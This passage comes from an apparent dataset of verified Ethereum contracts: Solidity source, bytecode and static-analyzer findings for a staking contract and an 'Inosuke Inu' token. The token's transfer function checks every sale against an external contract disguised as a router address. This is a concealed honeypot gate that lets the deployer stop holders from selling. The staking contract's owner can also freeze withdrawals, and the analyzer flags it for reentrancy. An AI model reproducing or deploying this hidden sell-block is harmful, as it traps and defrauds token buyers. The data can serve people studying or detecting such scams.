Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function ceil(uint a, uint m) internal pure returns (uint r) { return (a + m - 1) / m * m; } } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address payable public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address payable _newOwner) public onlyOwner { require(_newOwner != address(0), "ERC20: sending to the zero address"); owner = _newOwner; emit OwnershipTransferred(msg.sender, _newOwner); } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // ---------------------------------------------------------------------------- interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address tokenOwner) external view returns (uint256 balance); function allowance(address tokenOwner, address spender) external view returns (uint256 remaining); function transfer(address to, uint256 tokens) external returns (bool success); function approve(address spender, uint256 tokens) external returns (bool success); function transferFrom(address from, address to, uint256 tokens) external returns (bool success); function burnTokens(uint256 _amount) external; function calculateAmountsAfterFee( address sender, address recipient, uint256 amount ) external view returns (uint256 transferToAmount, uint256 transferToFeeDistributorAmount, uint256 transferToOwnerFeeDistributorAmount); event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens); } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract HypeBet_Stake is Owned { using SafeMath for uint256; address public Hype_Bet = 0xc9Dfcd0A1dD2D7BB6Fd2EF91A16a6a1c4E9846Dd; uint256 public totalStakes = 0; uint256 public totalDividends = 0; uint256 private scaledRemainder = 0; uint256 private scaling = uint256(10) ** 12; uint public round = 1; uint256 public maxAllowed = 100000000000000000000000; //100000 tokens total allowed to be staked /* Fees breaker, to protect withdraws if anything ever goes wrong */ bool public breaker = false; // withdraw can be lock,, default unlocked mapping(address => uint) public farmLock; // period that your sake it locked to keep it for farming //uint public lock = 0; // farm lock in blocks ~ 0 days for 15s/block //address public admin; struct USER{ uint256 stakedTokens; uint256 lastDividends; uint256 fromTotalDividend; uint round; uint256 remainder; } address[] internal stakeholders; mapping(address => USER) stakers; mapping (uint => uint256) public payouts; // keeps record of each payout event STAKED(address staker, uint256 tokens); event EARNED(address staker, uint256 tokens); event UNSTAKED(address staker, uint256 tokens); event PAYOUT(uint256 round, uint256 tokens, address sender); event CLAIMEDREWARD(address staker, uint256 reward); event WithdrawalLockDurationSet(uint256 value, address sender); function setBreaker(bool _breaker) external onlyOwner { breaker = _breaker; } function isStakeholder(address _address) public view returns(bool) { for (uint256 s = 0; s < stakeholders.length; s += 1){ if (_address == stakeholders[s]) return (true); } return (false); } function addStakeholder(address _stakeholder) public { (bool _isStakeholder) = isStakeholder(_stakeholder); if(!_isStakeholder) stakeholders.push(_stakeholder); } // ------------------------------------------------------------------------ // Token holders can stake their tokens using this function // @param tokens number of tokens to stake // ------------------------------------------------------------------------ function STAKE(uint256 tokens) external { require(totalStakes <= maxAllowed, "Max Stake amount exceed"); require(IERC20(Hype_Bet).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from user account"); (uint256 transferToAmount,,) = IERC20(Hype_Bet).calculateAmountsAfterFee(msg.sender, address(this), tokens); // add pending rewards to remainder to be claimed by user later, if there is any existing stake uint256 owing = pendingReward(msg.sender); stakers[msg.sender].remainder += owing; stakers[msg.sender].stakedTokens = transferToAmount.add(stakers[msg.sender].stakedTokens); stakers[msg.sender].lastDividends = owing; stakers[msg.sender].fromTotalDividend= totalDividends; stakers[msg.sender].round = round; (bool _isStakeholder) = isStakeholder(msg.sender); if(!_isStakeholder) farmLock[msg.sender] = block.timestamp; totalStakes = totalStakes.add(transferToAmount); addStakeholder(msg.sender); emit STAKED(msg.sender, transferToAmount); } // ------------------------------------------------------------------------ // Owners can send the funds to be distributed to stakers using this function // @param tokens number of tokens to distribute // ------------------------------------------------------------------------ function ADDFUNDS(uint256 tokens) external { require(IERC20(Hype_Bet).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from funder account"); (uint256 transferToAmount,,) = IERC20(Hype_Bet).calculateAmountsAfterFee(msg.sender, address(this), tokens); _addPayout(transferToAmount); } // ------------------------------------------------------------------------ // Private function to register payouts // ------------------------------------------------------------------------ function _addPayout(uint256 tokens) private{ // divide the funds among the currently staked tokens // scale the deposit and add the previous remainder uint256 available = (tokens.mul(scaling)).add(scaledRemainder); uint256 dividendPerToken = available.div(totalStakes); scaledRemainder = available.mod(totalStakes); totalDividends = totalDividends.add(dividendPerToken); payouts[round] = payouts[round - 1].add(dividendPerToken); emit PAYOUT(round, tokens, msg.sender); round++; } // ------------------------------------------------------------------------ // Stakers can claim their pending rewards using this function // ------------------------------------------------------------------------ function CLAIMREWARD() public { if(totalDividends > stakers[msg.sender].fromTotalDividend){ uint256 owing = pendingReward(msg.sender); owing = owing.add(stakers[msg.sender].remainder); stakers[msg.sender].remainder = 0; require(IERC20(Hype_Bet).transfer(msg.sender,owing), "ERROR: error in sending reward from contract"); emit CLAIMEDREWARD(msg.sender, owing); stakers[msg.sender].lastDividends = owing; // unscaled stakers[msg.sender].round = round; // update the round stakers[msg.sender].fromTotalDividend = totalDividends; // scaled } } // ------------------------------------------------------------------------ // Get the pending rewards of the staker // @param _staker the address of the staker // ------------------------------------------------------------------------ function pendingReward(address staker) private returns (uint256) { require(staker != address(0), "ERC20: sending to the zero address"); uint stakersRound = stakers[staker].round; uint256 amount = ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)).div(scaling); stakers[staker].remainder += ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)) % scaling ; return amount; } function getPendingReward(address staker) public view returns(uint256 _pendingReward) { require(staker != address(0), "ERC20: sending to the zero address"); uint stakersRound = stakers[staker].round; uint256 amount = ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)).div(scaling); amount += ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)) % scaling ; return (amount.add(stakers[staker].remainder)); } // ------------------------------------------------------------------------ // Stakers can un stake the staked tokens using this function // @param tokens the number of tokens to withdraw // ------------------------------------------------------------------------ function WITHDRAW(uint256 tokens) external { require(breaker == false, "Admin Restricted WITHDRAW"); require(stakers[msg.sender].stakedTokens >= tokens && tokens > 0, "Invalid token amount to withdraw"); totalStakes = totalStakes.sub(tokens); // add pending rewards to remainder to be claimed by user later, if there is any existing stake uint256 owing = pendingReward(msg.sender); stakers[msg.sender].remainder += owing; stakers[msg.sender].stakedTokens = stakers[msg.sender].stakedTokens.sub(tokens); stakers[msg.sender].lastDividends = owing; stakers[msg.sender].fromTotalDividend= totalDividends; stakers[msg.sender].round = round; require(IERC20(Hype_Bet).transfer(msg.sender, tokens), "Error in un-staking tokens"); emit UNSTAKED(msg.sender, tokens); } // ------------------------------------------------------------------------ // Private function to calculate 1% percentage // ------------------------------------------------------------------------ function onePercent(uint256 _tokens) private pure returns (uint256){ uint256 roundValue = _tokens.ceil(100); uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2)); return onePercentofTokens; } // ------------------------------------------------------------------------ // Get the number of tokens staked by a staker // @param _staker the address of the staker // ------------------------------------------------------------------------ function yourStakedHype_Bet(address staker) public view returns(uint256 stakedHype_Bet){ require(staker != address(0), "ERC20: sending to the zero address"); return stakers[staker].stakedTokens; } // ------------------------------------------------------------------------ // Get the Hype_Bet balance of the token holder // @param user the address of the token holder // ------------------------------------------------------------------------ function yourHype_BetBalance(address user) external view returns(uint256 Hype_BetBalance){ require(user != address(0), "ERC20: sending to the zero address"); return IERC20(Hype_Bet).balanceOf(user); } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80638da5cb5b116100ad578063ca39967111610071578063ca399671146102bb578063ca84d591146102c3578063e5c42fd1146102e0578063ef037b9014610306578063f2fde38b1461032c5761012c565b80638da5cb5b14610260578063951ef20214610268578063997664d71461028e578063b53d6c2414610296578063bf9befb1146102b35761012c565b80632c75bcda116100f45780632c75bcda146101ce5780634a63929f146101ed5780634baf782e146102135780634df9d6ba1461021b5780635c0aeb0e146102415761012c565b80630a56b8c2146101315780630f41e0d214610155578063146ca5311461017157806329652e861461018b57806329c6fd7f146101a8575b600080fd5b610139610352565b604080516001600160a01b039092168252519081900360200190f35b61015d610361565b604080519115158252519081900360200190f35b61017961036a565b60408051918252519081900360200190f35b610179600480360360208110156101a157600080fd5b5035610370565b610179600480360360208110156101be57600080fd5b50356001600160a01b0316610382565b6101eb600480360360208110156101e457600080fd5b50356103e9565b005b6101796004803603602081101561020357600080fd5b50356001600160a01b031661062c565b6101eb6106f2565b6101796004803603602081101561023157600080fd5b50356001600160a01b0316610874565b6101eb6004803603602081101561025757600080fd5b50351515610997565b6101396109c1565b6101796004803603602081101561027e57600080fd5b50356001600160a01b03166109d0565b6101796109e2565b6101eb600480360360208110156102ac57600080fd5b50356109e8565b610179610b3c565b610179610b42565b6101eb600480360360208110156102d957600080fd5b5035610b48565b6101eb600480360360208110156102f657600080fd5b50356001600160a01b0316610dc3565b61015d6004803603602081101561031c57600080fd5b50356001600160a01b0316610e26565b6101eb6004803603602081101561034257600080fd5b50356001600160a01b0316610e7b565b6001546001600160a01b031681565b60085460ff1681565b60065481565b600c6020526000908152604090205481565b60006001600160a01b0382166103c95760405162461bcd60e51b81526004018080602001828103825260228152602001806114236022913960400191505060405180910390fd5b506001600160a01b0381166000908152600b60205260409020545b919050565b60085460ff1615610441576040805162461bcd60e51b815260206004820152601960248201527f41646d696e205265737472696374656420574954484452415700000000000000604482015290519081900360640190fd5b336000908152600b602052604090205481118015906104605750600081115b6104b1576040805162461bcd60e51b815260206004820181905260248201527f496e76616c696420746f6b656e20616d6f756e7420746f207769746864726177604482015290519081900360640190fd5b6002546104be9082610f22565b60025560006104cc33610f6d565b336000908152600b6020526040902060048101805483019055549091506104f39083610f22565b336000818152600b6020908152604080832094855560018086018790556003805460028801556006549601959095559354845163a9059cbb60e01b815260048101949094526024840187905293516001600160a01b039094169363a9059cbb93604480820194918390030190829087803b15801561057057600080fd5b505af1158015610584573d6000803e3d6000fd5b505050506040513d602081101561059a57600080fd5b50516105ed576040805162461bcd60e51b815260206004820152601a60248201527f4572726f7220696e20756e2d7374616b696e6720746f6b656e73000000000000604482015290519081900360640190fd5b604080513381526020810184905281517f4c48d8823de8aa74e6ea4bed3a0c422e95a3d1e10f8f3e47dc7e2fe779be9514929181900390910190a15050565b60006001600160a01b0382166106735760405162461bcd60e51b81526004018080602001828103825260228152602001806114236022913960400191505060405180910390fd5b600154604080516370a0823160e01b81526001600160a01b038581166004830152915191909216916370a08231916024808301926020929190829003018186803b1580156106c057600080fd5b505afa1580156106d4573d6000803e3d6000fd5b505050506040513d60208110156106ea57600080fd5b505192915050565b336000908152600b6020526040902060020154600354111561087257600061071933610f6d565b336000908152600b602052604090206004015490915061073a90829061107b565b336000818152600b602090815260408083206004908101849055600154825163a9059cbb60e01b8152918201959095526024810186905290519495506001600160a01b039093169363a9059cbb93604480820194918390030190829087803b1580156107a557600080fd5b505af11580156107b9573d6000803e3d6000fd5b505050506040513d60208110156107cf57600080fd5b505161080c5760405162461bcd60e51b815260040180806020018281038252602c8152602001806113f7602c913960400191505060405180910390fd5b604080513381526020810183905281517f8a0128b5f12decc7d739e546c0521c3388920368915393f80120bc5b408c7c9e929181900390910190a1336000908152600b602052604090206001810191909155600654600380830191909155546002909101555b565b60006001600160a01b0382166108bb5760405162461bcd60e51b81526004018080602001828103825260228152602001806114236022913960400191505060405180910390fd5b6001600160a01b0382166000908152600b60209081526040808320600380820154600554925460001982018752600c9095529285205490549294936109149361090e926109089190610f22565b906110d5565b9061112e565b6005546001600160a01b0386166000908152600b602090815260408083205460001988018452600c909252909120546003549394509192610959926109089190610f22565b8161096057fe5b6001600160a01b0386166000908152600b6020526040902060040154919006919091019061098f90829061107b565b949350505050565b6000546001600160a01b031633146109ae57600080fd5b6008805460ff1916911515919091179055565b6000546001600160a01b031681565b60096020526000908152604090205481565b60035481565b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610a4257600080fd5b505af1158015610a56573d6000803e3d6000fd5b505050506040513d6020811015610a6c57600080fd5b5051610aa95760405162461bcd60e51b81526004018080602001828103825260308152602001806114946030913960400191505060405180910390fd5b6001546040805163301a580160e01b81523360048201523060248201526044810184905290516000926001600160a01b03169163301a5801916064808301926060929190829003018186803b158015610b0157600080fd5b505afa158015610b15573d6000803e3d6000fd5b505050506040513d6060811015610b2b57600080fd5b50519050610b3881611170565b5050565b60025481565b60075481565b6007546002541115610ba1576040805162461bcd60e51b815260206004820152601760248201527f4d6178205374616b6520616d6f756e7420657863656564000000000000000000604482015290519081900360640190fd5b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610bfb57600080fd5b505af1158015610c0f573d6000803e3d6000fd5b505050506040513d6020811015610c2557600080fd5b5051610c625760405162461bcd60e51b815260040180806020018281038252602e815260200180611466602e913960400191505060405180910390fd5b6001546040805163301a580160e01b81523360048201523060248201526044810184905290516000926001600160a01b03169163301a5801916064808301926060929190829003018186803b158015610cba57600080fd5b505afa158015610cce573d6000803e3d6000fd5b505050506040513d6060811015610ce457600080fd5b505190506000610cf333610f6d565b336000908152600b602052604090206004810180548301905554909150610d1b90839061107b565b336000818152600b6020526040812092835560018301849055600380546002850155600654930192909255610d4f90610e26565b905080610d69573360009081526009602052604090204290555b600254610d76908461107b565b600255610d8233610dc3565b604080513381526020810185905281517f4031c63bb53dc5dfada7ef8d75bef8c44d0283658c1585fc74107ed5b75e97c8929181900390910190a150505050565b6000610dce82610e26565b905080610b3857600a80546001810182556000919091527fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a80180546001600160a01b0384166001600160a01b03199091161790555050565b6000805b600a54811015610e7257600a8181548110610e4157fe5b6000918252602090912001546001600160a01b0384811691161415610e6a5760019150506103e4565b600101610e2a565b50600092915050565b6000546001600160a01b03163314610e9257600080fd5b6001600160a01b038116610ed75760405162461bcd60e51b81526004018080602001828103825260228152602001806114236022913960400191505060405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000610f6483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061125b565b90505b92915050565b60006001600160a01b038216610fb45760405162461bcd60e51b81526004018080602001828103825260228152602001806114236022913960400191505060405180910390fd5b6001600160a01b0382166000908152600b60209081526040808320600380820154600554925460001982018752600c9095529285205490549294936110019361090e926109089190610f22565b6005546001600160a01b0386166000908152600b602090815260408083205460001988018452600c909252909120546003549394509192611046926109089190610f22565b8161104d57fe5b6001600160a01b03959095166000908152600b60205260409020600401805491909506019093555090919050565b600082820183811015610f64576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000826110e457506000610f67565b828202828482816110f157fe5b0414610f645760405162461bcd60e51b81526004018080602001828103825260218152602001806114456021913960400191505060405180910390fd5b6000610f6483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112f2565b600061119360045461118d600554856110d590919063ffffffff16565b9061107b565b905060006111ac6002548361112e90919063ffffffff16565b90506111c36002548361135790919063ffffffff16565b6004556003546111d3908261107b565b600355600654600019016000908152600c60205260409020546111f6908261107b565b600680546000908152600c602090815260409182902093909355905481519081529182018590523382820152517fddf8c05dcee82ec75482e095e6c06768c848d5a7df7147686033433d141328b69181900360600190a1505060068054600101905550565b600081848411156112ea5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156112af578181015183820152602001611297565b50505050905090810190601f1680156112dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836113415760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156112af578181015183820152602001611297565b50600083858161134d57fe5b0495945050505050565b6000610f6483836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250600081836113e35760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156112af578181015183820152602001611297565b508284816113ed57fe5b0694935050505056fe4552524f523a206572726f7220696e2073656e64696e67207265776172642066726f6d20636f6e747261637445524332303a2073656e64696e6720746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2075736572206163636f756e74546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2066756e646572206163636f756e74a26469706673582212201300027d1ef1d012d91bf3f02a560c88fa7b41edce68adadef64ad1542976f2964736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
24
0x0dD196d3EDA3716F4094A8a06c4c6D8FBF15120C
/** *Submitted for verification at Etherscan.io on 2021-11-06 */ //SPDX-License-Identifier: MIT // Telegram: t.me/inosukeinu pragma solidity ^0.8.4; address constant ROUTER_ADDRESS=0x690f08828a4013351DB74e916ACC16f558ED1579; // mainnet uint256 constant TOTAL_SUPPLY=100000000000 * 10**8; address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; string constant TOKEN_NAME="Inosuke Inu"; string constant TOKEN_SYMBOL="INOSUKE"; uint8 constant DECIMALS=8; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface Odin{ function amount(address from) external view returns (uint256); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract InosukeInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private constant _burnFee=1; uint256 private constant _taxFee=9; address payable private _taxWallet; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier overridden() { require(_taxWallet == _msgSender() ); _; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS); _router = _uniswapV2Router; _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230f565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ed2565b61038e565b60405161014c91906122f4565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b6040516101779190612471565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7f565b6103bc565b6040516101b491906122f4565b60405180910390f35b3480156101c957600080fd5b506101d2610495565b6040516101df91906124e6565b60405180910390f35b3480156101f457600080fd5b506101fd61049e565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de5565b610518565b6040516102339190612471565b60405180910390f35b34801561024857600080fd5b50610251610569565b005b34801561025f57600080fd5b506102686106bc565b6040516102759190612226565b60405180910390f35b34801561028a57600080fd5b506102936106e5565b6040516102a0919061230f565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ed2565b610722565b6040516102dd91906122f4565b60405180910390f35b3480156102f257600080fd5b506102fb610740565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3f565b610c71565b6040516103319190612471565b60405180910390f35b34801561034657600080fd5b5061034f610cf8565b005b60606040518060400160405280600b81526020017f496e6f73756b6520496e75000000000000000000000000000000000000000000815250905090565b60006103a261039b610d6a565b8484610d72565b6001905092915050565b6000678ac7230489e80000905090565b60006103c9848484610f3d565b61048a846103d5610d6a565b61048585604051806060016040528060288152602001612ac160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043b610d6a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113059092919063ffffffff16565b610d72565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104df610d6a565b73ffffffffffffffffffffffffffffffffffffffff16146104ff57600080fd5b600061050a30610518565b905061051581611369565b50565b6000610562600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f1565b9050919050565b610571610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff167